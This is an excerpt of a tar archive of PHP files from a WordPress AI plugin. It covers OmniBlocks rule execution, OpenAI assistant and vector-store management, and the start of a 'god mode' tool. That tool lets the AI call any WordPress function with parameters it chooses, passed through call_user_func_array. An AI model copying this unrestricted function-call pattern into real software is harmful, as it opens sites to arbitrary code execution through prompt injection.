                                            array_splice($block_data, $index, 0, $new_blocks);
                                            $block_results[$block_id] = array($current_block['type']);
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                        }
                                    }
                                    elseif($current_block['type'] == 'jump_block')
                                    {
                                        $jumpto = $current_block['parameters']['jumpto'];
                                        $jumpto = aiomatic_replace_omniblocks_data($jumpto, $current_keyword, $kiwis, $block_results);
                                        $jumpto = explode(',', $jumpto);
                                        $jumpto = trim($jumpto[array_rand($jumpto)]);
                                        if(empty($jumpto))
                                        {
                                            aiomatic_log_to_file('Error in processing JUMP block, empty jump block ID provided');
                                            if($critical == '1')
                                            {
                                                return 'fail';
                                            }
                                            else
                                            {
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        $jumpfound = false;
                                        for($searchindex = 0; $searchindex < count($block_data); $searchindex++)
                                        {
                                            if($block_data[$searchindex]['identifier'] == trim($jumpto))
                                            {
                                                $index = $searchindex;
                                                $jumpfound = true;
                                                break;
                                            }
                                        }
                                        if($jumpfound == false)
                                        {
                                            aiomatic_log_to_file('Error in processing JUMP block, jump block ID not found: ' . $jumpto);
                                            if($critical == '1')
                                            {
                                                return 'fail';
                                            }
                                            else
                                            {
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                $stop_omnmiblock_id = $block_data[$index]['identifier'];
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                        }
                                    }
                                    elseif($current_block['type'] == 'exit_block')
                                    {
                                        aiomatic_log_to_file('Exit OmniBlock encountered, stopping execution and exiting OmniBlock queue: ' . $current_block['type']);
                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                        {
                                            return array('');
                                        }
                                        break;
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Unknown OmniBlock type found: ' . $current_block['type']);
                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                        {
                                            return array('');
                                        }
                                    }
                                }
                                if($title_once == '1')
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Remembering processed keyword: ' . $current_keyword);
                                    }
                                    aiomatic_add_processed_keyword($current_keyword);
                                }
                                $count++;
                            }
                            
                            if(count($keyword_arr) == 0 && $skipt > 0)
                            {
                                if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '')
                                {
                                    if($count === 1)
                                    {
                                        $email_list = explode(',', $aiomatic_Main_Settings['email_notification']);
                                        foreach($email_list as $thisaddr)
                                        {
                                            $thisaddr = trim($thisaddr);
                                            try
                                            {
                                                $to        = $thisaddr;
                                                $subject   = '[Aiomatic] OmniBlocks Keywords depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now();
                                                $message   = 'OmniBlocks Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its keywords list, no new posts publised! Website URL: ' . get_site_url();
                                                $headers[] = 'From: Aiomatic Plugin <aiomatic@noreply.net>';
                                                $headers[] = 'Reply-To: noreply@noreply.net';
                                                $headers[] = 'X-Mailer: PHP/' . phpversion();
                                                $headers[] = 'Content-Type: text/html';
                                                $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                                wp_mail($to, $subject, $message, $headers);
                                            }
                                            catch (Exception $e) {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                }
                                            }
                                        }
                                    }
                                }
                                aiomatic_log_to_file('All OmniBlocks keywords already processed, nothing to do.');
                                if($auto == 1)
                                {
                                    aiomatic_clearFromList($param, $type);
                                }
                                return 'nochange';
                            }
                        }
                        else
                        {
                            aiomatic_log_to_file('Unknown type given ' . $type . '!');
                            if($auto == 1)
                            {
                                aiomatic_clearFromList($param, $type);
                            }
                            return 'fail';
                        }
                    }
                    catch (Exception $e) {
                        aiomatic_log_to_file('Exception thrown ' . esc_html($e->getMessage()) . '!');
                        if($auto == 1)
                        {
                            aiomatic_clearFromList($param, $type);
                        }
                        return 'fail';
                    }
                    if($type == '5')
                    {
                        $logaction = 'OmniBlock saving actions done!';
                    }
                    else
                    {
                        $logaction = 'posts created!';
                    }
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('Rule ID ' . esc_html($param) . ' succesfully run! ' . esc_html($posts_inserted) . ' ' . $logaction);
                    }
                    if (isset($aiomatic_Main_Settings['send_email']) && $aiomatic_Main_Settings['send_email'] == 'on' && $aiomatic_Main_Settings['email_address'] !== '') {
                        try {
                            $to        = $aiomatic_Main_Settings['email_address'];
                            $subject   = '[aiomatic] Rule running report - ' . aiomatic_get_date_now();
                            $message   = 'Rule ID ' . esc_html($param) . ' succesfully run! ' . esc_html($posts_inserted) . ' ' . $logaction;
                            $headers[] = 'From: AIomatic Plugin <aiomatic@noreply.net>';
                            $headers[] = 'Reply-To: noreply@aiomatic.com';
                            $headers[] = 'X-Mailer: PHP/' . phpversion();
                            $headers[] = 'Content-Type: text/html';
                            $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                            wp_mail($to, $subject, $message, $headers);
                        }
                        catch (Exception $e) {
                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                            }
                        }
                    }
                }
                if ($posts_inserted == 0) {
                    if($type == 4)
                    {
                        if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '')
                        {
                            if($count === 1)
                            {
                                $email_list = explode(',', $aiomatic_Main_Settings['email_notification']);
                                foreach($email_list as $thisaddr)
                                {
                                    $thisaddr = trim($thisaddr);
                                    try
                                    {
                                        $to        = $thisaddr;
                                        $subject   = '[Aiomatic] Titles depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now();
                                        $message   = 'Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its titles from the CSV file, no new posts publised! Website URL: ' . get_site_url();
                                        $headers[] = 'From: Aiomatic Plugin <aiomatic@noreply.net>';
                                        $headers[] = 'Reply-To: noreply@noreply.net';
                                        $headers[] = 'X-Mailer: PHP/' . phpversion();
                                        $headers[] = 'Content-Type: text/html';
                                        $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                        wp_mail($to, $subject, $message, $headers);
                                    }
                                    catch (Exception $e) 
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                        }
                                    }
                                }
                            }
                        }
                    }
                    if($auto == 1)
                    {
                        aiomatic_clearFromList($param, $type);
                    }
                    return 'nochange';
                } else {
                    if($auto == 1)
                    {
                        aiomatic_clearFromList($param, $type);
                    }
                    return 'ok';
                }
            }
            ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������aiomatic-assistants-file.php������������������������������������������������������������������������0000644�����������������00000063616�14757771437�0012214 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
            defined('ABSPATH') or die();
            function aiomatic_save_assistant($token, $title, $model, $prompt, $description, $temperature, $topp, $assistant_first_message, $avatar, $code_interpreter, $file_search, $assistant_files, $functions_str = '')
            {
                require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); 
                $vector_store_id = '';
                $assistant_id = '';
                if(empty($title))
                {
                    $aiomatic_result['msg'] = 'You need to add a name for the assistant!';
                    return $aiomatic_result;
                }
                if(empty($model))
                {
                    $aiomatic_result['msg'] = 'You need to add a model for the assistant!';
                    return $aiomatic_result;
                }
                $files_ok = false;
                $tools = [];
                if($code_interpreter == 'on')
                {
                    $tools[] = ['type' => 'code_interpreter'];
                    $files_ok = true;
                }
                if($file_search == 'on')
                {
                    $tools[] = ['type' => 'file_search'];
                    $files_ok = true;
                }
                $functions_json = json_decode($functions_str, true);
                if($functions_json === null)
                {
                    $functions = array();
                }
                else
                {
                    if(is_array($functions_json) && !isset($functions_json['name']))
                    {
                        $functions = $functions_json;
                    }
                    elseif(isset($functions_json['name']))
                    {
                        $functions = array($functions_json);
                    }
                    else
                    {
                        $functions = array();
                    }
                }
                foreach($functions as $func)
                {
                    $tools[] = ['type' => 'function', 'function' => $func];
                }
                if($files_ok === false)
                {
                    $assistant_files = [];
                }
                try
                {
                    $metadata = '';
                    $assistantData = aiomatic_openai_save_assistant(
                        $token,
                        $model,
                        $title,
                        $description,
                        $temperature,
                        $topp,
                        $prompt,
                        $tools,
                        $assistant_files,
                        $metadata,
                        $vector_store_id
                    );
                    if($assistantData === false)
                    {
                        $aiomatic_result['msg'] = 'Failed to save assistant using the API';
                        return $aiomatic_result;
                    }
                    if(!isset($assistantData['id']))
                    {
                        $aiomatic_result['msg'] = 'Failed to decode assistant saving request: ' . print_r($assistantData, true);
                        return $aiomatic_result;
                    }
                    $assistant_id = $assistantData['id'];
                }
                catch(Exception $e)
                {
                    $aiomatic_result['msg'] = 'Exception occured during Assistant saving: ' . $e->getMessage();
                    return $aiomatic_result;
                }
                if(empty($assistant_id))
                {
                    $aiomatic_result['msg'] = 'Failed to insert assistant to AI service: ' . $title;
                    return $aiomatic_result;
                }
                $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong assistant saving');
                $assistant_data = array(
                    'post_type' => 'aiomatic_assistants',
                    'post_title' => $title,
                    'post_content' => $prompt,
                    'post_excerpt' => $description,
                    'post_status' => 'publish'
                );
                remove_filter('content_save_pre', 'wp_filter_post_kses');
                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                $local_assistant_id = wp_insert_post($assistant_data);
                add_filter('content_save_pre', 'wp_filter_post_kses');
                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                if(is_wp_error($local_assistant_id))
                {
                    $aiomatic_result['msg'] = $local_assistant_id->get_error_message();
                }
                elseif($local_assistant_id === 0)
                {
                    $aiomatic_result['msg'] = 'Failed to insert assistant to database: ' . $title;
                }
                else 
                {
                    update_post_meta($local_assistant_id, '_assistant_id', $assistant_id);
                    if(!empty($assistant_first_message))
                    {
                        update_post_meta($local_assistant_id, '_assistant_first_message', $assistant_first_message);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_first_message', '');
                    }
                    if(!empty($model))
                    {
                        update_post_meta($local_assistant_id, '_assistant_model', $model);
                    }
                    if(!empty($vector_store_id))
                    {
                        update_post_meta($local_assistant_id, '_assistant_vector_store_id', $vector_store_id);
                    }
                    if(!empty($tools))
                    {
                        update_post_meta($local_assistant_id, '_assistant_tools', $tools);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_tools', array());
                    }
                    if(!empty($temperature))
                    {
                        update_post_meta($local_assistant_id, '_assistant_temperature', $temperature);
                    }
                    if(!empty($topp))
                    {
                        update_post_meta($local_assistant_id, '_assistant_topp', $topp);
                    }
                    if(!empty($assistant_files))
                    {
                        update_post_meta($local_assistant_id, '_assistant_files', $assistant_files);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_files', array());
                    }
                    if(!empty($avatar))
                    {
                        require_once(ABSPATH . 'wp-admin/includes/image.php');
                        require_once(ABSPATH . 'wp-admin/includes/media.php');
                        $res2 = set_post_thumbnail($local_assistant_id, $avatar);
                        if ($res2 === FALSE) 
                        {
                            $aiomatic_result['msg'] = 'Failed to insert assistant avatar to database: ' . $avatar;
                        }
                    }
                    $aiomatic_result['status'] = 'success';
                    $aiomatic_result['id'] = $local_assistant_id;
                }
                return $aiomatic_result;
            }
            function aiomatic_update_assistant($token, $assistant_id, $assistant_id_local, $title, $model, $prompt, $description, $temperature, $topp, $assistant_first_message, $avatar, $code_interpreter, $file_search, $assistant_files, $functions_str = '')
            {
                $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong assistant updating');
                require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); 
                if(empty($title))
                {
                    $aiomatic_result['msg'] = 'You need to add a name for the assistant!';
                    return $aiomatic_result;
                }
                if(empty($model))
                {
                    $aiomatic_result['msg'] = 'You need to add a model for the assistant!';
                    return $aiomatic_result;
                }
                $vector_store_id = null;
                $files_ok = false;
                $tools = [];
                if($code_interpreter == 'on')
                {
                    $tools[] = ['type' => 'code_interpreter'];
                    $files_ok = true;
                }
                if($file_search == 'on')
                {
                    $tools[] = ['type' => 'file_search'];
                    $files_ok = true;
                }
                $functions_json = json_decode($functions_str, true);
                if($functions_json === null)
                {
                    $functions = array();
                }
                else
                {
                    if(is_array($functions_json) && !isset($functions_json['name']))
                    {
                        $functions = $functions_json;
                    }
                    elseif(isset($functions_json['name']))
                    {
                        $functions = array($functions_json);
                    }
                    else
                    {
                        $functions = array();
                    }
                }
                foreach($functions as $func)
                {
                    $tools[] = ['type' => 'function', 'function' => $func];
                }
                if($files_ok === false)
                {
                    $assistant_files = [];
                }
                try
                {
                    $address_post_id = '';
                    $metadata = '';
                    $assistantData = aiomatic_openai_modify_assistant(
                        $token,
                        $assistant_id,
                        $model,
                        $title,
                        $description,
                        $prompt,
                        $temperature,
                        $topp,
                        $tools,
                        $assistant_files,
                        $metadata,
                        $vector_store_id,
                        $address_post_id
                    );
                    if($assistantData === false)
                    {
                        $aiomatic_result['msg'] = 'Failed to update assistant using the API';
                        return $aiomatic_result;
                    }
                    if(!isset($assistantData['id']))
                    {
                        $aiomatic_result['msg'] = 'Failed to decode assistant updating request: ' . print_r($assistantData, true);
                        return $aiomatic_result;
                    }
                    $assistant_id = $assistantData['id'];
                }
                catch(Exception $e)
                {
                    $aiomatic_result['msg'] = 'Exception occured during Assistant updating: ' . $e->getMessage();
                    return $aiomatic_result;
                }
                if(empty($assistant_id))
                {
                    $aiomatic_result['msg'] = 'Failed to update assistant to AI service: ' . $title;
                    return $aiomatic_result;
                }
                $assistant_data = array(
                    'post_type' => 'aiomatic_assistants',
                    'post_title' => $title,
                    'post_content' => $prompt,
                    'post_excerpt' => $description,
                    'post_status' => 'publish',
                    'ID' => $assistant_id_local
                );
                remove_filter('content_save_pre', 'wp_filter_post_kses');
                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                $local_assistant_id = wp_update_post($assistant_data);
                add_filter('content_save_pre', 'wp_filter_post_kses');
                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                if(is_wp_error($local_assistant_id))
                {
                    $aiomatic_result['msg'] = $local_assistant_id->get_error_message();
                }
                elseif($local_assistant_id === 0)
                {
                    $aiomatic_result['msg'] = 'Failed to update assistant to database: ' . $title;
                }
                else 
                {
                    $vector_store_id = get_post_meta($local_assistant_id, '_assistant_vector_store_id', true);
                    if(!empty($vector_store_id))
                    {
                        $solved = false;
                        $ls_fid = [];
                        try
                        {
                            $list_stores = aiomatic_openai_list_vector_store_files($token, $vector_store_id);
                        }
                        catch(Exception $e)
                        {
                            if(strstr($e->getMessage(), 'No vector store found with id') !== false)
                            {
                                $vs = aiomatic_openai_create_vector_store($token, 'Assistant Vector Store', $assistant_files);
                                if(isset($vs['id']))
                                {
                                    update_post_meta($local_assistant_id, '_assistant_vector_store_id', $vs['id']);
                                    $solved = true;
                                    $vector_store_id = $vs['id'];
                                    $assistantData = aiomatic_openai_modify_assistant(
                                        $token,
                                        $assistant_id,
                                        $model,
                                        $title,
                                        $description,
                                        $prompt,
                                        $temperature,
                                        $topp,
                                        $tools,
                                        $assistant_files,
                                        $metadata,
                                        $vector_store_id,
                                        $address_post_id
                                    );
                                    if($assistantData === false)
                                    {
                                        $aiomatic_result['msg'] = 'Failed to update assistant vector store using the API';
                                        return $aiomatic_result;
                                    }
                                    if(!isset($assistantData['id']))
                                    {
                                        $aiomatic_result['msg'] = 'Failed to decode assistant vector store updating request: ' . print_r($assistantData, true);
                                        return $aiomatic_result;
                                    }
                                }
                            }
                            else
                            {
                                throw $e;
                            }
                        }
                        if(!$solved)
                        {
                            foreach($list_stores as $ls)
                            {
                                $ls_fid[] = $ls['id'];
                            }
                            foreach($assistant_files as $fid)
                            {
                                if(!in_array($fid, $ls_fid))
                                {
                                    aiomatic_openai_create_vector_store_file($token, $vector_store_id, $fid);
                                }
                            }
                            foreach($ls_fid as $fid)
                            {
                                if(!in_array($fid, $assistant_files))
                                {
                                    aiomatic_openai_delete_vector_store_file($token, $vector_store_id, $fid);
                                }
                            }
                            $assistantData = aiomatic_openai_modify_assistant(
                                $token,
                                $assistant_id,
                                $model,
                                $title,
                                $description,
                                $prompt,
                                $temperature,
                                $topp,
                                $tools,
                                $assistant_files,
                                $metadata,
                                $vector_store_id,
                                $address_post_id
                            );
                            if($assistantData === false)
                            {
                                $aiomatic_result['msg'] = 'Failed to update assistant vector store db using the API';
                                return $aiomatic_result;
                            }
                            if(!isset($assistantData['id']))
                            {
                                $aiomatic_result['msg'] = 'Failed to decode assistant vector store db updating request: ' . print_r($assistantData, true);
                                return $aiomatic_result;
                            }
                        }
                    }
                    else
                    {
                        $vs = aiomatic_openai_create_vector_store($token, 'New Assistant Vector Store', $assistant_files);
                        if(isset($vs['id']))
                        {
                            update_post_meta($local_assistant_id, '_assistant_vector_store_id', $vs['id']);
                            $vector_store_id = $vs['id'];
                            $assistantData = aiomatic_openai_modify_assistant(
                                $token,
                                $assistant_id,
                                $model,
                                $title,
                                $description,
                                $prompt,
                                $temperature,
                                $topp,
                                $tools,
                                $assistant_files,
                                $metadata,
                                $vector_store_id,
                                $address_post_id
                            );
                            if($assistantData === false)
                            {
                                $aiomatic_result['msg'] = 'Failed to update assistant vector store using the API';
                                return $aiomatic_result;
                            }
                            if(!isset($assistantData['id']))
                            {
                                $aiomatic_result['msg'] = 'Failed to decode assistant vector store updating request: ' . print_r($assistantData, true);
                                return $aiomatic_result;
                            }
                        }
                    }
            
                    update_post_meta($local_assistant_id, '_assistant_id', $assistant_id);
                    if(!empty($assistant_first_message))
                    {
                        update_post_meta($local_assistant_id, '_assistant_first_message', $assistant_first_message);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_first_message', '');
                    }
                    if(!empty($model))
                    {
                        update_post_meta($local_assistant_id, '_assistant_model', $model);
                    }
                    if(!empty($temperature))
                    {
                        update_post_meta($local_assistant_id, '_assistant_temperature', $temperature);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_temperature', '');
                    }
                    if(!empty($topp))
                    {
                        update_post_meta($local_assistant_id, '_assistant_topp', $topp);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_topp', '');
                    }
                    if(!empty($tools))
                    {
                        update_post_meta($local_assistant_id, '_assistant_tools', $tools);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_tools', array());
                    }
                    if(!empty($assistant_files))
                    {
                        update_post_meta($local_assistant_id, '_assistant_files', $assistant_files);
                    }
                    else
                    {
                        update_post_meta($local_assistant_id, '_assistant_files', array());
                    }
                    if(!empty($avatar))
                    {
                        require_once(ABSPATH . 'wp-admin/includes/image.php');
                        require_once(ABSPATH . 'wp-admin/includes/media.php');
                        $res2 = set_post_thumbnail($local_assistant_id, $avatar);
                        if ($res2 === FALSE) 
                        {
                            $aiomatic_result['msg'] = 'Failed to insert assistant avatar to database: ' . $avatar;
                        }
                    }
                    else
                    {
                        if($avatar === '0' || $avatar === 0)
                        {
                            delete_post_thumbnail($local_assistant_id);
                        }
                    }
                    $aiomatic_result['status'] = 'success';
                    $aiomatic_result['id'] = $local_assistant_id;
                }
                return $aiomatic_result;
            }
            function aiomatic_save_assistant_only_local($token, $title, $model, $prompt, $description, $temperature, $topp, $assistant_first_message, $avatar, $assistant_files, $assistant_id, $created_at, $tools, $vector_store_id)
            {
                if(empty($title))
                {
                    $title = 'Untitled Assistant';
                }
                $args = array(
                    'post_type'  => 'aiomatic_assistants',
                    'meta_query' => array(
                        array(
                            'key'     => '_assistant_id',
                            'value'   => $assistant_id,
                            'compare' => 'EXISTS'
                        ),
                    ),
                );
                $updated = false;
                $query = new WP_Query( $args );
                require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); 
                if ( $query->have_posts() ) {
                    while ( $query->have_posts() ) 
                    {
                        $query->the_post();
                        $post_id = get_the_ID();
                        $ass_id = get_post_meta($post_id, '_assistant_id', true);
                        if(!empty($ass_id))
                        {
                            $failed = false;
                            try
                            {
                                $assistant = aiomatic_openai_retrieve_assistant($token, $ass_id);
                                if(!isset($assistant['id']))
                                {
                                    throw new Exception('Incorrect response from assistant grabbing: ' . print_r($assistant, true));
                                }
                            }
                            catch(Exception $e)
                            {
                                aiomatic_log_to_file('Exception in assistant grabbing: ' . $e->getMessage());
                                $failed = true;
                            }
                            if($failed == false)
                            {
                                if(empty($assistant['description']))
                                {
                                    $assistant['description'] = '';
                                }
                                if(empty($assistant['instructions']))
                                {
                                    $assistant['instructions'] = '';
                                }
                                $assistant_data = array(
                                    'post_type' => 'aiomatic_assistants',
                                    'post_title' => $assistant['name'],
                                    'post_content' => $assistant['instructions'],
                                    'post_excerpt' => $assistant['description'],
                                    'post_status' => 'publish',
                                    'ID' => $post_id
                                );
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                $local_assistant_id = wp_update_post($assistant_data);
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                if(is_wp_error($local_assistant_id))
                                {
                                    aiomatic_log_to_file('Failed to update assistant ' . $local_assistant_id->get_error_message());
                                }
                                elseif($local_assistant_id === 0)
                                {
                                    aiomatic_log_to_file('Failed to update assistant to database: ' . $assistant['name']);
                                }
                                else 
                                {
                                    $updated = true;
                                    $file_ids = array();
                                    if(isset($assistant['tool_resources']['code_interpreter']['file_ids'][0]))
                                    {
                                        $file_ids = $assistant['tool_resources']['code_interpreter']['file_ids'];
                                    }
                                    update_post_meta($local_assistant_id, '_assistant_model', $assistant['model']);
                                    update_post_meta($local_assistant_id, '_assistant_tools', (array) $assistant['tools']);
                                    update_post_meta($local_assistant_id, '_assistant_files', $file_ids);
                                    if(!empty($vector_store_id))
                                    {
                                        update_post_meta($local_assistant_id, '_assistant_vector_store_id', $vector_store_id);
                                    }
                                    if(!empty($temperature))
                                    {
                                        update_post_meta($local_assistant_id, '_assistant_temperature', $temperature);
                                    }
                                    if(!empty($topp))
                                    {
                                        update_post_meta($local_assistant_id, '_assistant_topp', $topp);
                                    }
                                    $aiomatic_result['status'] = 'success';
                                    $aiomatic_result['id'] = $local_assistant_id;
                                }
                            }
                        }
                    }
                }
                if(!$updated)
                {
                    if(empty($title))
                    {
                        $aiomatic_result['msg'] = 'You need to add a name for the assistant!';
                        return $aiomatic_result;
                    }
                    if(empty($model))
                    {
                        $aiomatic_result['msg'] = 'You need to add a model for the assistant!';
                        return $aiomatic_result;
                    }
                    if(empty($prompt))
                    {
                        $prompt = '';
                    }
                    if(empty($description))
                    {
                        $description = '';
                    }
                    $postdate = date("Y-m-d H:i:s", $created_at);
                    $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong assistant saving');
                    $assistant_data = array(
                        'post_type' => 'aiomatic_assistants',
                        'post_title' => $title,
                        'post_content' => $prompt,
                        'post_excerpt' => $description,
                        'post_date' => $postdate,
                        'post_status' => 'publish'
                    );
                    remove_filter('content_save_pre', 'wp_filter_post_kses');
                    remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                    $local_assistant_id = wp_insert_post($assistant_data);
                    add_filter('content_save_pre', 'wp_filter_post_kses');
                    add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                    if(is_wp_error($local_assistant_id))
                    {
                        $aiomatic_result['msg'] = $local_assistant_id->get_error_message();
                    }
                    elseif($local_assistant_id === 0)
                    {
                        $aiomatic_result['msg'] = 'Failed to insert assistant to database: ' . $title;
                    }
                    else 
                    {
                        update_post_meta($local_assistant_id, '_assistant_id', $assistant_id);
                        if(!empty($assistant_first_message))
                        {
                            update_post_meta($local_assistant_id, '_assistant_first_message', $assistant_first_message);
                        }
                        else
                        {
                            update_post_meta($local_assistant_id, '_assistant_first_message', '');
                        }
                        if(!empty($model))
                        {
                            update_post_meta($local_assistant_id, '_assistant_model', $model);
                        }
                        if(!empty($tools))
                        {
                            update_post_meta($local_assistant_id, '_assistant_tools', (array)$tools);
                        }
                        else
                        {
                            update_post_meta($local_assistant_id, '_assistant_tools', array());
                        }
                        if(!empty($vector_store_id))
                        {
                            update_post_meta($local_assistant_id, '_assistant_vector_store_id', $vector_store_id);
                        }
                        if(!empty($temperature))
                        {
                            update_post_meta($local_assistant_id, '_assistant_temperature', $temperature);
                        }
                        if(!empty($topp))
                        {
                            update_post_meta($local_assistant_id, '_assistant_topp', $topp);
                        }
                        if(!empty($assistant_files))
                        {
                            update_post_meta($local_assistant_id, '_assistant_files', $assistant_files);
                        }
                        else
                        {
                            update_post_meta($local_assistant_id, '_assistant_files', array());
                        }
                        if(!empty($avatar))
                        {
                            require_once(ABSPATH . 'wp-admin/includes/image.php');
                            require_once(ABSPATH . 'wp-admin/includes/media.php');
                            $res2 = set_post_thumbnail($local_assistant_id, $avatar);
                            if ($res2 === FALSE) 
                            {
                                $aiomatic_result['msg'] = 'Failed to insert assistant avatar to database: ' . $avatar;
                            }
                        }
                        $aiomatic_result['status'] = 'success';
                        $aiomatic_result['id'] = $local_assistant_id;
                    }
                }
                return $aiomatic_result;
            }
            ?>������������������������������������������������������������������������������������������������������������������aiomatic-god-mode.php�������������������������������������������������������������������������������0000644�����������������00000052707�14757771437�0010575 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
            defined('ABSPATH') or die();
            function aiomatic_return_god_function_assistants($god_mode, $dalle, $stable, $midjourney, $amazon, $amazon_details, $scraper, $rss, $google, $captions, $royalty, $youtube, $email, $facebook, $facebook_image, $twitter, $instagram, $pinterest, $business, $youtube_community, $reddit, $linkedin, $webhook, $stable_video)
            {
                $return_arr = array();
                if ($god_mode === true)
                {
                    $return_arr[] = aiomatic_get_god_mode_object();
                }
                if ($dalle === true)
                {
                    $return_arr[] = aiomatic_get_dalle_object();
                }
                if ($stable === true)
                {
                    $return_arr[] = aiomatic_get_stable_object();
                }
                if ($midjourney === true)
                {
                    $return_arr[] = aiomatic_get_midjourney_object();
                }
                if ($stable_video === true)
                {
                    $return_arr[] = aiomatic_get_stable_video_object();
                }
                if ($amazon === true)
                {
                    $return_arr[] = aiomatic_get_amazon_object();
                }
                if ($amazon_details === true)
                {
                    $return_arr[] = aiomatic_get_amazon_details_object();
                }
                if ($scraper === true)
                {
                    $return_arr[] = aiomatic_get_scraper_object();
                }
                if ($rss === true)
                {
                    $return_arr[] = aiomatic_get_rss_object();
                }
                if ($google === true)
                {
                    $return_arr[] = aiomatic_get_google_object();
                }
                if ($captions === true)
                {
                    $return_arr[] = aiomatic_get_youtube_captions_object();
                }
                if ($email === true)
                {
                    $return_arr[] = aiomatic_get_email_object();
                }
                if ($webhook === true)
                {
                    $return_arr[] = aiomatic_get_webhook_object();
                }
                if ($youtube === true)
                {
                    $return_arr[] = aiomatic_get_youtube_object();
                }
                if ($royalty === true)
                {
                    $return_arr[] = aiomatic_get_royalty_object();
                }
                if ($facebook === true)
                {
                    $return_arr[] = aiomatic_get_facebook_object();
                }
                if ($facebook_image === true)
                {
                    $return_arr[] = aiomatic_get_facebook_image_object();
                }
                if ($twitter === true)
                {
                    $return_arr[] = aiomatic_get_twitter_object();
                }
                if ($instagram === true)
                {
                    $return_arr[] = aiomatic_get_instagram_object();
                }
                if ($pinterest === true)
                {
                    $return_arr[] = aiomatic_get_pinterest_object();
                }
                if ($business === true)
                {
                    $return_arr[] = aiomatic_get_google_business_object();
                }
                if ($youtube_community === true)
                {
                    $return_arr[] = aiomatic_get_youtube_community_object();
                }
                if ($reddit === true)
                {
                    $return_arr[] = aiomatic_get_reddit_object();
                }
                if ($linkedin === true)
                {
                    $return_arr[] = aiomatic_get_linkedin_object();
                }
                return $return_arr;
            }
            function aiomatic_get_god_mode_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_wp_god_mode',
                    'Call any WordPress function using this wrapper function. Add the WP function name which needs to be called in the first parameter, and the parameters which needs to be sent to the function, in an array, sent as the second parameter for the wrapper function. Parameters will be processed using call_user_func_array, use parameters accordingly.',
                    [
                        new Aiomatic_Query_Parameter('called_function_name', 'The name of the WP function which needs to be called.', 'string', true),
                        new Aiomatic_Query_Parameter('parameter_array', 'An array of parameters which should be sent to the function. Return parameters which can be parsed by call_user_func_array, as this is how the function will be called.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_dalle_object()
            {
